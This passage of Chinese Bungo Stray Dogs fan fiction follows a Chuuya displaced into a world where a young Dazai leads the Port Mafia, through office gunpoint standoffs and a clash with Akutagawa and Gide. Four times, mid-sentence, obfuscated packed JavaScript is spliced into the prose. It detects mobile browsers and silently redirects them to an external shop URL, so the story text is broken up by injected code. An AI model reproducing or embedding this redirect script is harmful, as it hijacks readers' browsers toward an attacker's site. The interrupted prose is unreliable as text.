中也手腕青筋暴起,嘴角不自觉地抽搐,红叶权当他有些紧张,还拍拍肩安慰道: “没事,首领年轻,很好说话的……你忘了,你们以前关系还……额就那样。反正不要担心……” 于是乎,中也带着厚厚一沓子纸,在阴森的办公室等到太阳都落了山还没等到他那亲爱的首领。 盯了一天屏幕,他眼睛有些酸,干脆眯着眼歇了一会。但这一闭,就直接眯着了。 比光感先来的,是刺鼻的血腥味。中也迷迷糊糊睁眼,就看见面前不远处的太宰正对着一盏小灯拆绷带。 黑色的风衣被太宰搭在右肩上,皱巴巴的,有滑到地上的趋势。由于此人背对着他,中也看不清太宰的表情,但根据这僵硬的动作,他一眼看出这是真受了伤。 “怎么弄的?”他走上前去,从太宰腰后伸出手,想帮他固定绷带。 靠近了中也才发现,太宰治脸上也有血迹,但手臂伤的最重。 缠了几圈的绷带又开始隐隐渗出血,中也心一揪,语气都轻了几分,早上被这人惹怒的事便抛到九霄云外了。 果然还是年轻的时候会惹事,他跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375151|200059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太宰过了那么多年,已经很久没看见他把自己伤成这样了。 太宰治猛然被人从身后接近,手一僵,没有动,先是任由中也用这个略显奇怪的姿势帮自己缠好了手臂,接着才微微偏头,嘴唇动了动: “醒了?” 中也上午的反常让他觉得自己该找他一下,但有事绊住了,一回来就看见人在办公室睡着了。 他这个首领还是很体恤员工的,累了就休息,但如果醒了的话……比如现在,有些东西就得说清楚。 没等中也回话,太宰治便拍开办公室所有的灯。趁着中也还没有从强光中缓过来,他扔开风衣,三步两大跨就把人掐着脖子狠狠推到了墙上。 这猝不及防的反转搞的中也晕头转向,但他无暇顾及太宰恶狠狠的眼神,反而伸手挡住对方那受伤的胳膊: “干嘛干嘛!你这混蛋受伤了还不老实,小心点!” “中也……”太宰治根本没等他说完,用腿抵开了中也的友谊之手,语气冰冷: “这不是你该管的吧……忘了你是怎么被调出任务组的了吗?!” 中也本来还想反驳,闻言被太宰治的神情镇住了。他从没从太宰治的脸上看过这种表情。二十七岁没有,以前的十八岁也没有。 鸢色的眸子此刻充斥着怒火,还有不易察觉的警告,中也在这双眼睛里面没有看到任何搭档的影子,有的只是狠厉,仿若是对着敌人才有的…… 怎么会这样?难道换了一个世界,他们真的反目成仇了? “我做什么事,跟港口Mafia的任何人,尤其是跟你,没有一点关系!” 最后几个字被咬得特别重,太宰眼神好像在一遍又一遍重复着“你是我的狗”,不屑而冷漠。 但比起单纯愤怒,中也心里漫上一阵不可置信。 没有一点关系。这话谁说都行,但不应该从太宰治嘴里说出来。 再退一步,就算是没有关系,他就算现在只能坐办公室不能为Mafia出任务,要他看着太宰治每天玩命还坐视不理,就是不可能的。 以前的太宰治,虽说整天喊着殉情之类的胡话,但观察下来他绝不是动真格的,他不会丢下搭档不管的。 而现在这个十八岁的小子,看上去没有一点感情,自.杀的行为放在他身上莫名就让人一阵害怕,仿佛下一秒,在没人注意的角落,Mafia总部的某处就会发现浑身僵硬的他。 “喂,我说太宰啊……”中也回过神来,已经被太宰掐得快窒息了:“你不管什么时候,都一样混蛋呢……” “你这单细胞生物……啊!”太宰狞笑着,手上力度加大,但狠话才说到一半,自己那受伤的手臂就被人从下面狠狠一踢。 痛感传遍神经,可还没等他起身,就被中也抓住衣领扔到了桌上,双手都被紧紧圈住。 位置交换。 中也甩甩头发,把领子扯开了点,居高临下地看着身下满面怒容的青年,勾唇一笑: “首领说什么都对,要不就先看看我这个单细胞生物今天做的报表,如何?” 5. 迷茫的重力使 “怎么”,被压在桌上的太宰治丝毫不慌,嘴角慢慢挤出点弧度,哼笑一声:“想在首领的办公室打架?” 那表情在中也看来十分刺眼,他紧抿着嘴,极力忍耐着。 面前这十几岁的小子,他根本不屑于,或者说是不忍心对其动手,只是想在人快误入“歧途”的时候拉一把,没想到此人却得寸进尺,不听劝就算了,还让他别多管闲事。 换别人他要么一拳上去然后真不管,要么用重力让对方跟自己好好说话。可谁让这家伙是太宰治呢…… 他圈着太宰治的手,收着力不想牵动那人的伤口,却被那欠揍的表情勾得一阵又一阵火大。空着的拳头砸在太宰治耳边,中也俯身靠近,警告似的低声说: “首领下次出任务,记得小心点,不然横滨的绷带估计不够用了……” 跟满身是伤的家伙较劲体术,怎么看都是没意思也没必要。 撂下这句话,中也狠狠丢开太宰,把文件拎回来砸在他手边,提起帽子转身就走: “连同下周的一起做好了,你看看吧。” 太宰手搭在眼睛上,自顾自躺了一会,脸上虚伪的笑意还没褪,等他再起身的时候,中也果然还在办公室门口,把门锁转得啪啪响。 他用胳膊撑着起身,冲着那人的背影得意一笑,没有出声,转而拿起报表看了起来。 早上把他吊在半空的事还没算清呢,加之刚才的突击,就让他再耗一会好了。 门边,中也额头出了层薄汗,他不知道这锁怎么了就是拧不开。估计是那死青花鱼锁门的时候动了点手脚,但这会用重力硬来似乎也不是很行,激化矛盾怎么办。 “喂,我说……”终于,中也不耐烦地转身,却发现太宰的脸不知道什么时候就闪现在了自己身后,郁郁的眼神比刚才还寡淡,还不近人情。 也不知道被这双眼睛无声盯了多久,中也心里属实发毛,但立马就感觉手腕被人握住,自己的重力光圈堪堪消失在了萌芽中;而几乎同时,冰冷的枪管抵在额头,伴随着太宰治的低语: “中也什么时候才能记住,你是我的狗呢……还是说,我觉得Mafia已经不需要你这样的员工了,你可以,离开了?” 短短几句,不急不慢,但太宰握枪的手逐渐收紧。绷带又慢慢渗出血痕,太宰却仿佛没感觉,眼神依旧钉着中也。 真是疯了,是想一枪崩了他吗?中也觉得面前这家伙好像真能干得出来。是自己的拳头快,还是这个疯子的枪快,还是说时间差足够让自己夺回重力的掌控权…… 不到半秒的犹豫间,太宰治似乎看穿了他的心思:“如果再对首领动手,你明天就可以不用来上班了……” “那你这样提前送我上路,不也是一样吗?”中也掌心冒汗,乱成一团的思绪里却突然蹦出之前魏尔伦跟他说的话。 要知道今天这么精彩,那次他直接就同意了…… 太宰治似乎不是很满意这个回答,借着身高差掰着中也的下巴让人仰头看着自己: “的确是变了挺多,看来把你调去做HR还是很正确的,至少不会像以前那样动不动就上手……” 中也心说要不是你手里有枪,还抓住我耍赖,这会我也上手了。 “不过,我强调过很多次不是,叫我……首领……!” 太宰的眼神愈发狠厉,扳机咔咔作响,就当中也计算打飞他手里的枪的时间点时,身后的门板被人敲响。尾崎红叶的问候声传来,生生打断了这尴尬的对峙。 太宰意犹未尽地抬了抬眉,手枪在指间转了一圈又回到腰上,落入风衣的阴影里。中也松了口气,却被太宰治一把扯住衣领拉到身后。 门开了,太宰治眼上带了点笑意:“啊,是尾崎干部啊,还没下班吗?” 中也被挡住了视线,没能看清二人的表情,但太宰治态度大转弯让他忍不住翻了个白眼。 “啊没事,只是妾身的部下来汇报工作,许久没有消息,就想着要不要来看一看……” 红叶一笑,往太宰治身后歪了歪头,看到一撮橘色,便知道了几分。 “有什么做的不好的地方,我来替首领教训就好,不劳烦再费心。” 果然不管在哪,红叶姐就是天使啊!中也刚在心里感叹,就听得面前的黑乎乎的一坨闷闷地出声: “好的尾崎君,这里也谈得差不多了,过会他就会回去的”,太宰治把着门,回头睨了一眼中也,又回头笑着说:“辛苦你跑一趟,这么……关心部下。” 送走尾崎红叶,太宰治没了教训人的兴致,只是把一摞纸在手里颠了颠,拍到中也怀里: “希望你能胜任好新岗位,我不想亲自开除你……没问题的话,可以滚了。” 中也点点头,有些茫然地走出,却不知道后面那扇门在他离开后,很久都没有关上。 太宰治踢开椅子坐下,不耐烦的扯了扯中也扣的结:“死蛞蝓,弄的什么东西……” 正重新缠绷带的时候,太宰的手机响了,来电显示织田作。他眼里一沉,而后用嘴咬着绷带头,按下了接听。 “还是主动来找我了呀中也?” 咖啡厅内,魏尔伦笑眯眯地看着中也坐下,没有丝毫意外。自从上次办公室一面,已经过了一个星期。比他预想的时间要短,看来已经受到刺激了。 “你是什么时候看出来的?”中也挂好外套和帽子,沉着脸在他对面落座,叹了口气。 “真要说?”魏尔伦歪头似乎在询问,但看到中也的表情后便收了几分玩笑的神色:“说起来那还真不怪你,因为那天是我打给你的,你根本就没约我。” 中也听后,扶着杯子的手微微发颤,很有要把杯子捏碎的倾向,被魏尔伦压了下去:“哎,我可以付钱,但是损坏东西中也自己赔。换岗以后降薪了没?” 中也没好气一笑,但还是收了手。直到现在,他才真切地感受到自己穿过来后,身边的一切似乎都在玩耍他。 那天他刚开完会,还没从太宰治当上首领的余震中走出来,就在办公室被魏尔伦用枪指着。打是打不过了,只好乖乖和他你问我答,但第一个问题就足够把中也的老底翻个底朝天了。 “你不是中原中也吧,到底是谁呢,占着我们横滨重力使的身体在Mafia到处晃悠,胆子够大。” 直到现在,中也才明白,不是自己的伪装太拙劣,而是魏尔伦这家伙一开始就在无心之中给他下了套。好巧不巧,就在他刚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375152|200059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来什么都不知道的那会,于是他毫无疑问地上了钩。 “喂,别走神,既然来找我了,就说明你想清楚了不是?我的提议怎么样?” 魏尔伦拿起一块曲奇,尝了一口发现奇甜无比,便皱着眉用一口美式送了下去,而后若无其事地把盘子推给了中也:“尝一个?” 中也没上当,只是顺着他的话说了下去:“我可以跟你合作,但你也必须帮我,我现在……” 得到中也这句承诺就够了,魏尔伦眼睛立马亮了起来,他抬手打断:“说好的不会变。我帮你伪装,提供之前''中原中也''的所有信息,保证你能在港口Mafia待下去。” “至于条件,我需要你帮忙的时候,你来就行。” 中也没有即刻接话,幽蓝的眼睛注视着面前人,像是在审视。 他不是那个十八岁的中也,这事让魏尔伦知道没关系;他是另一个世界二十七岁的中也,让魏尔伦知道也没关系,因为就像他相信每个世界的太宰治跟自己都会是搭档一样,他也相信每个世界的魏尔伦都是自己值得信任的人,不然这游戏就没法进行下去了。 可是最近一个星期,有些以前他深信的开始逐渐动摇,他不确定魏尔伦是不是…… “担心我和太宰治一样?”魏尔伦看着中也满脸凝重,笑了:“我不知道你从前那位搭档如何,也不知道你以前跟魏尔伦是什么关系,不过现在你也没得选不是吗?” “你似乎很关心现在的首领,但你也看到了,他对你印象非常不好,靠近一点都会惹毛他,搞不好哪天就把中也你扔出Mafia了……到时候如果他再做什么出格的事,你还能救得了他?” 这话让中也想到了太宰治下坠时那无所谓的空洞的表情,他心一沉。 “如你所见,咱们的首领太乱来了对吧?天天玩弄自己的性命……我也是想保护他,这么看,我们算是一条阵线上的吧。” 中也哼了一声,把头偏过去,明显不信。魏尔伦早就料到会这样,也不忙着辩解。 “你一个人解决不了问题的。不过放心,我绝不会做伤害横滨和Mafia利益的事,如果非要说我需要你帮什么忙……”魏尔伦想了想,还是决定透露一点。 不然这位似乎不会答应。 “书,你知道这个对吧?” 中也听后猛得抬头,额前的橘色碎发在咖啡厅的灯下荡出一阵光晕。 “那就是知道了”,魏尔伦点点头继续:“森鸥外首领此前为了调查书只身前往欧洲,目前下落不明,太宰治才接替了他的位置。” “如果我说,我也在调查书,你会愿意帮忙吗……放心,首领不知道。” 中也凝眸沉思了会,轻轻点了点头。 如果跟书有关,说不定也有他回去的办法。 “同意了对吧,那祝我们合作愉快”,魏尔伦双手托头,笑着望过去:“那哥哥就先给你第一条建议好了。” “其实你之前做得还不错,挺符合''中也''的个性,要说其他的什么,就是对太宰治太关心了,你要小心。” “且不说这个行为本身挺诡异的,要是被他发现每天跟他对峙的其实是二十七岁的对头……想想那个画面,都很精彩吧。” 6. 芥川龙之介(1) “哦,你来了啊太宰……” 咖喱的香气扑面而来,织田作把孩子们打发去吃饭,又往咲乐手里塞了一把糖,回头看了眼推门而入的太宰治,招手让人跟着他上楼说话。 幸介在太宰治进门那一刻起就投来崇拜的目光,以至于没注意脚下的路,埋头撞在了太宰治腰上。太宰治弯眼一笑,把孩子扶起来,亲昵地拍了下他后脑勺,看着人跑去玩,才跟着织田作上楼。 “不是急事不会打电话的,说吧,怎么了?”太宰治脱下外套,抖抖灰,而后拉开两把椅子,自己坐了一把,也示意织田作坐下。 “最近又忙什么了?脸色不太好”,太宰治没等织田作开口,就继续说道:“小说写完了?不是说好这次情报不用你出手的吗……” 看见织田作眼下的青黑和手上新添的伤疤,太宰治脸色明显阴了下去。敏锐捕捉到这点的织田作眼神闪躲了一瞬,叹了口气。 “首……”织田作打断他的话,但才说了一个字就被太宰治的眼神逼得住了口。 他们说好的,他们之间的称呼不会因为什么而改变,但他就是觉得,太宰治当了首领之后,有种说不上来的感觉。这种感觉,让他每次遇到太宰治,都有些许无所适从。 是朋友,是首领,或许称呼不重要,但是织田作有时候过不了自己这关。 他感觉太宰好像变得比之前更沉郁了,叫人摸不透;但他对自己,对坂口安吾还是一样,该说该笑,混蛋话也没少说,酒吧相聚都没落下,还帮着照顾这儿的孩子,好像首领的日常一点都不忙一样。 而且他跟自己说的最多的一句话就是,好好写小说去,港口Mafia的事不愿意管的就不管。 可是自己也是个打工的,虽然有原则,但是工作日就是工作大于天……织田作不是不懂太宰治的意思,但他又没办法全全接受太宰治一次又一次的破例而装作毫不知情。 即使这次喊他来不是为了这个事。 “太宰”,织田作捋了一把头发,酸涩的眼睛眨了眨,似乎有些为难:“那个孩子……就是镭钵街那个……你准备怎么办?” 太宰治似乎有些意外,他握着杯子抬眼,眼睛里满是询问:“……我会去看看的,亲自去……港口Mafia突然损失了这么多员工,闹得不小……” “那你准备怎么办……我是说找到他之后。” “得给那些出任务却再也回不来的人一个交代吧,虽然也是他们自己出的纰漏,没有清场……” 太宰治幽幽地接话,却没有详细说。 前些日子,港口Mafia派出队伍搜集情报加上交接军火,没成想被一群镭钵街的孩子听去了关键情报,要是走漏,港口Mafia之后的活动就会很受限了,于是那群手下便下了狠手。 据情报,现场除了一个有异能的小孩和他的妹妹死里逃生,其他人都没躲过Mafia队伍的追杀。不过后来,那小孩异能极其强大,竟然在万分危急的情况下成功反杀……现场实则一片狼藉。 “最后就活了两个呢……”太宰治眼睛眯起,似在思索。 那只队伍是森鸥外的旧部,这场生意本来也是遗留问题来的,他上任后虽然有新的部署,但是之前的事他亦得逐一接管处理,免得人话多。 再之,森先生随时可能从欧洲回来,到时候好歹要有个交代;至于这个位子,等他把想做的事都做完,谁爱坐谁坐吧。 想远了,太宰治回过神,继续对上织田作的目光,微微笑了一下。 织田作并不在意太宰治的走神,接着道:“我直说,我希望你不要对他动手。” 似乎惊讶于织田作难得的直给,太宰治眼神有了些许波动,但他没有立刻回应,反而在等织田作继续说下去。 “还有,你知道纪德对吧……他好像插手镭钵街和那个孩子了……我不希望你们对上,别起冲突……这就是我为什么突然喊你过来……” 听到“纪德”这个名字,太宰治眼角漫上一阵阴影,他放下水杯,恹恹地问道:“又来找你了?” “对。他,mimic。”提到这个问题,织田作似乎很累,他把头偏到一边,重重叹了口气。 “不过放心,我没有跟人交战的打算,他也不知道我平常都干些什么……只是那家伙异能跟我一样,如果他和那孩子合作,你再去找他们,估计又会是两败俱伤。” 太宰治笑了,笑得很克制,但抑制住的声音总显得十分狠厉。他抬手,露出绷带外的一只眼睛,淡声说: “织田作,感谢提醒,不然这烂摊子也不知何时是个头了……至于纪德……” “也是个一心求死的疯子罢了,他想死,别拉着别人……”太宰治手指收紧,几乎要把脸上的绷带扯得开线。 “那你准备……” “织田作”,太宰治抬手打断,神情严肃:“你小说写完了吗。没写完继续写吧,给故事一个没那么容易猜出来的结局……” “这件事你不要管了,既然存心要和Mafia作对,不付出点代价,我以后怎么跟森鸥外交代呢。” 太宰治的眼神莫名显得有些可怕,也是在那时,织田作怀疑今天找他来是不是正确的选择;也是在那时,他想,如果能帮到太宰治,或许去找纪德谈谈也不是不行。 但似乎被看穿了,对面的太宰治突然起身。 “别单独行动,织田作”,太宰治拿起外套,拍拍织田作的肩:“这是首领的命令。” …… “喂,进办公室好歹敲下门吧。” “跟我要求还这么多?”魏尔伦合上门,看着拼命敲键盘的中也,不怀好意地笑了。 “给你带信息来了,可怜的HR被关在办公室什么都不知道。”他走上前,把一张照片横在中也面前。 照片很黑,拍的不是很清楚,但是能认出来是一条老旧的可以算得上贫民窟的街道,两道黑色的影子似乎在狂奔,隐隐还有异能发出的光。 中也看第一眼就觉得熟悉,那不是芥川龙之介吗?旁边的应该就是芥川银。港口Mafia拍他们干嘛? “认识?”魏尔伦也不客气,自己给自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375153|200059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到了杯水,斜着眼看过去。 “芥川龙之介……不在港口Mafia吗?” 魏尔伦的表情有一瞬间的凝滞,但他很快便明白过来,曲指敲敲中也办公桌的桌面: “原来以后他会来港口Mafia啊,真是想不到,因为凭着首领最近的举动,我感觉他会灭口。” 中也闻言大为吃惊,这儿的太宰治疯狂到连人才引进都懒得做了吗?更何况这位异能人才以后还是他的唯粉…… 看着中也吃惊的表情,魏尔伦不建议再添一把柴火,便接着道:“对啊,没算错的话今天就会去收网了,那小孩干掉了森鸥外的一支队伍,肯定不可能让他这么轻易的……” 没等魏尔伦说完,中也刷一下站起,边穿外套边往外走,满脸阴云。 就说之前开会没看到芥川那小子,不管怎么说,这么强大的异能者不能由着太宰治胡来,就算不准备让他进入Mafia,也不能拉仇恨。毕竟他又不是不知道,当初太宰治是怎么训练小芥川的,最后闹成那样…… “喂,你知道在哪吗就走……需要我帮忙就说啊喂……”魏尔伦装模作样地对着中也的背影喊了几声,而后微微一笑。 手机按开,刚好电话打进来。 “喂,是我。没错,他已经去了。好,剩下的再说……” …… 镭钵街的灰尘逐渐散去,太宰治站在街道中央,额头的血迹划拉开去,顺着脸颊滴到下颚线,但痛感浑然不觉。 面前,芥川龙之介半蹲在地上,抬起眼睛狠厉地瞪着他,周身尽是罗生门的黑刃。他身后不远,纪德躲在一处废墟后,一手搭在芥川银肩膀上,正笑着观望对面的交战。 纪德没想到,港口Mafia的首领真的就自己来找他们了,原本他还担心送去的信被拦截,这下看来并没有。只可惜,他最想看到的,那个跟他异能相似的织田作没来,不然今天的事会简单很多。 “怎么样首领,还打吗?”纪德隔着尘埃喊话太宰治,语气尽是挑衅:“你接近不了芥川的,五到六秒后的未来都在窄门里……” 太宰治抹了一把脸侧的血,狞笑着抽出一把手枪,啪一下上了膛。 纪德无所谓地摇了摇头,在异能面前,手枪能干嘛呢,更何况他能预见…… 突然,纪德像触电般睁大了双眼,身侧的手紧张地握成了拳。 就在芥川和太宰的伤口无声对峙的时候,老旧街道的巷口又现出了一个身影。 刚被芥川那家伙的异能甩得脑子嗡嗡的,太宰治一开始没注意到身后的变化。可是突然,他握枪的手就被人轻轻攥住了,温热从手腕蔓延来去,一个他压根没想到会在这里出现的声音从耳后响起。 “都拿不稳枪了,还想干嘛呢,真是混蛋啊……” 太宰治呼吸一顿,心里像是遭到一阵猛击。 谁把这家伙搞过来的!这下计划全乱了! 但中也毫不在意,只是把住太宰治握枪的手,目光直指对面的一群人: “愣着干嘛,谁想和重力一战吗?” 7. 芥川龙之介(2) 中也沉着双眸,和纪德隔着一条街对望。蹲在那里的芥川龙之介似乎感到了一丝危机,缓缓站起了身,暂时却也没有下一步动作。 “你以为你这样很帅吗死蛞蝓?”被人从身后虚揽着,太宰有几分不适应,毕竟呼吸和体温都靠得太近;尤其这人还比自己矮好吗!来添什么乱! “闭嘴吧混蛋,你以为你一个人打得过他们两个?连最基本的靠近都做不到吧?”中也哼了一声,对于这家伙的不自量力嗤之以鼻。 他来之前想过太宰可能会对芥川感兴趣,或许最后的最后还会将人收编,但太宰纯纯一对二他是真没想到。 自己体术什么样不清楚吗?人家都已经组合技了他还在这准备开枪,这不是开玩笑是什么。 而纪德此时更是不知如何是好,刚才他的窄门已经看见中也的出现,但是现在,五六秒之后的未来风平浪静。 也就是说这两人还会继续咬耳朵拉扯一段时间,不知道是商量对策还是干嘛。 他知道港口Mafia的成员,当然也了解过中原中也,不过这家伙除了是战力扛把子,横滨重力使,这么看来难道还是首领的……??? 不对,不能乱想,这里不是France,他也不是…… 就在他思考首领跟他的小跟班的关系的时候,太宰治抓住这一瞬的窄门空白,瞬移到了他面前。脸上还挂着血的Mafia首领此刻和他距离不到半步,待纪德反应过来,手腕已经被狠狠攥住。 窄门消失了。 而几乎是同时,中原中也和芥川龙之介对上了。重力准备就绪,罗生门蠢蠢欲动,厌世的小少年和不屑一顾的……青春期重力使。 还是别打起来的好,太宰治一手拉着纪德,一手把手枪转了一圈收了起来。他皱着眉看了一眼缩在角落的芥川银,脑子里飘过几个想法。 “喂,我们只是想要织田作,首领就这么不肯放人?”纪德没了窄门,试图讨价还价。 “和我打一架就行,我死了算我的,他赢了人就还你们,有什么问题吗?” 太宰治本来还在安安静静想计划,想弥补这个被中也戳了一个大窟窿了计划,就被纪德的话给截断。 一旁的中也听到这边的纪德如此明目张胆,心里都替他捏一把汗。 想当初织田作是死在太宰治面前的,十来年了太宰治还是没过的去这一关,每年都会去看织田作。以前是一个人去,后来他就陪着一起去。 而现在,据魏尔伦描述,他俩关系依旧很好,甚至中也都怀疑比自己那个世界更好,那纪德在这个节骨眼上说话要人,不就是在太宰治的雷区蹦迪吗。 再说下去,太宰治自己了结他也不是没有可能。 不过想来奇怪,按照太宰治年轻时的性子,敢这么惹他的,根本活不到第二句话……唯一能解释的就是,这会太宰治还不知道最后织田作真会栽在纪德手上,又或许只是因为织田作自己不肯,才迟迟没有放人。 不过这次应该也不会有森鸥外插手的说…… 那完蛋了,自己还得看着保护好织田作才行,不然真出事了,首领心灵受不了这么大打击怎么办?中也想到面前这个阴郁太宰治plus版,不禁无奈摇头。 已经失去过一次了,就算这里并不一样,他也不想看到太宰治再为这事受伤害。 即便这个混蛋现在根本什么都不懂! 而且如果按照之前作为参照,后来太宰治就会叛逃,到时候Mafia…… “喂,你……” 芥川龙之介不知道什么时候站了起来,淡淡招呼了声观望旁边战况的中也。 他刚才一直在纪德的提示下进攻,对方体术一般,根本接近不了他们,而现在纪德被控制住,他只能和这个橘色头发的人对峙了……没劲。 “喂,小子,别看那边了”,中也回头,就发现芥川龙之介喊自己的同时也把头转了过去,一双眼睛直勾勾盯着面上血迹未干的……太宰治! 这小子,这会就已经是唯粉了吗? 中也心里吐槽,不过他无意在这里开战,他来这主要只是想把人领回去。 不管怎么说,港口Mafia首领在镭钵街被打得很惨是一点也不光彩,等回去再好好问问太宰治打的什么主意。还有就是,如果他确实想拉芥川兄妹入伙,他一定要在训练之初就盯着他。 毕竟他领教过这人的训练手法,到最后把芥川都整的……不讲不讲。 “打架吗?”不知多久,芥川又挤出几个字。中也听后摇头一笑,上前几步拍了拍他的肩,俯身凑近:“用不着。在这待着。” 芥川龙之介皱了皱眉,他不知道Mafia的情况,不过就刚才的情况来看,这两位,关系应该挺好吧。说明这个人应该也是个人物,才敢对首领动手动脚。 于是乎,他就看见这位橘色头发的对手踱步到一旁,对着太宰治不知道说了些什么。然后,在场除了芥川银,其他人都沉默了。 当天中也是被太宰治拖回港口Mafia总部的。不是战损,也不是别的,只是首领单纯气得不行,想把人带回去好好审一审。 “你什么意思,嗯?”太宰治把人扔到办公室,气得外套都忘了脱,而中也还算平静,甚至淡定地去拿医药箱,想给他包扎。 “先把脸上的血擦擦……” 其实这话他自己说完都有点不适应,毕竟他从来没对太宰治用过这种语气。 “不用,你就站在那,离我远一点。”太宰治被他弄的有些害怕,下意识后撤了一步。经过几天的观察,他觉得这个中也大抵是入职HR以后很不适应,出现了些反常症状。 谁给他透露的消息亦或是他自己发现的消息,改日再说,单单是刚才他对着自己耳朵说阐述的“计划”就让他有理由怀疑中也是不是又习得了一门异能,名为读心术。 “干嘛,首领怕什么,我又不会对你做什么?”中也听话地丢开绷带,还双手举起来让对面放心,内心却因在太宰治脸上捕捉到了一丝慌乱而暗暗窃喜。 因为他猜对了。 太宰治当时拔枪,并不是要打枪纪德他们,而是准备瞄准自己。子弹的速度和罗生门有得一拼,如果他们阻挡不住,太宰治有个三长两短,到时候就将面对整个Mafia的报复。 计划烂了点,但是有用,至少太宰治当时觉得管用。但不得不说,中也对于他的做法是不能再反对了,万一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375154|200059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真把自己搞没了怎么办? 当时太宰治纯纯就在赌,赌纪德不敢让芥川动手,然后双方对峙无果,就暂时两散。但然后呢?后面就不会继续纠缠不休了吗? 于是他就跟太宰治说,改天他们多带点人来,趁纪德不在把芥川兄妹收编,这样随便纪德怎么闹,只要织田作不来,他也没办法。 中也的本意是赶紧把人带走,他不想打起来,结果最后自己被提回来了,也是意料之外。 “中也,我让你去HR,是让你反思工作失误,顺便干好基层工作,而你现在……真让我失望啊……” “那次丢货不关我事,再说了……”中也干脆就陪他拉扯,反正之前的事他也听魏尔伦说了,不怕太宰治问。 可是自己一回头,太宰治不知什么时候又把手枪掏了出来,阴着脸把枪口对准了自己。 好熟悉的配方。 中也无奈摇摇头,今天他可不会被唬住了,怎么着他都得说清楚。他感觉这儿的太宰治思路太清奇了点,需要有人开导开导。 所以当枪声真的响起来的时候,中也脑中一片空白。 这家伙来真的?!! 子弹在脚下爆开,中也偏身堪堪躲过,却一个没站稳摔倒了,脚踝撞在办公桌的桌腿上,生疼。 也就是这一个不注意,给了太宰治开第二枪的机会,中也忍着疼痛伸手,用重力挡住了那颗直冲他肩膀而来的子弹。 “中也的重力还是那么敏感,不过首领教训人的时候,要不就别用了吧?”太宰治恹恹出声,一边逼近还蹲坐在地上的中也,手枪还持在手上:“随意离岗,打乱计划,你本事越来越大了……” “第三枪,敢躲开明天就不用来港口Mafia了。” 太宰治站在中也面前,抬脚踢开那人撑着地准备站起来的手,语气里满是威胁。 他也不知道怎么了,这会满脑子都是一定要给这家伙一个教训。 而坐在地上的中也此时更是心情坏到可以炸了总部。 在这之前,他从来不相信太宰真的会对他开枪,所以他一开始根本没有防备。他的重力只对敌人释放,只在觉得有威胁的时候才用,而他从没觉得太宰治会符合任意一点。 还有这家伙怎么就不明白,自己之所以要去,只是单纯不想让他受伤,不想看他把自己弄成那个鬼样子…… “中也,我有时候真想不通,你说我们怎么总会走到这一步……” 太宰的枪口挑起中也的下巴,而后又拐到肩胛处,狠狠撞了两下。中也低着头,没有起身,却反手抓住枪口,缓缓下压了点。 “那我问问首领,如果你死了,港口Mafia怎么办?” “那也不是你该管的!” 太宰不吃这一套,自打他接任以来,还没人敢在这事上跟他掰扯。 “可我就是不想看到你有事,有问题吗?!” 中也闻言猛地抬头,近乎咬牙切齿。 太宰被这反应弄得一愣,但眼神立马又犀利起来: “你以为这么说会有什么用吗?” 枪口继续朝上,太宰治的语气依旧冰冷:“长点教训,中也,下次别再自作聪明了……” 8. 芥川龙之介(3) 中也记得,自己问过太宰治,为什么训练芥川龙之介的时候那么狠,以至于芥川后来的目光总是追随着他,似乎得到太宰治的认可才是他的终级目标。 隔了快十年,太宰治还是没有正面回答过这个问题,每次总是敷衍带过。 “中也对我还在Mafia的事这么感兴趣吗,我们是同事的时候,也没见你对我的事感兴趣。” “废话啊,你自己什么样自己不知道?要不是首领让我们搭档,我们估计会一直打下去吧……” “哦……”每到这个节骨眼,太宰治总是装作十二分漫不经心,似乎和中也搭档也并不是什么可以展开下去的话题。而且自从太宰治叛逃,自从他们二十二岁之后又走到一块儿,有些事就成了他们心照不宣的避而不谈。 可如今,自己在这竟遇上了当年那个让太宰治改变的拐角,中也说什么也不可能视而不见。 他依旧紧握着枪口,太宰治手上的颤动随着枪管传到他这里,一下一下仿佛要直击心脏。 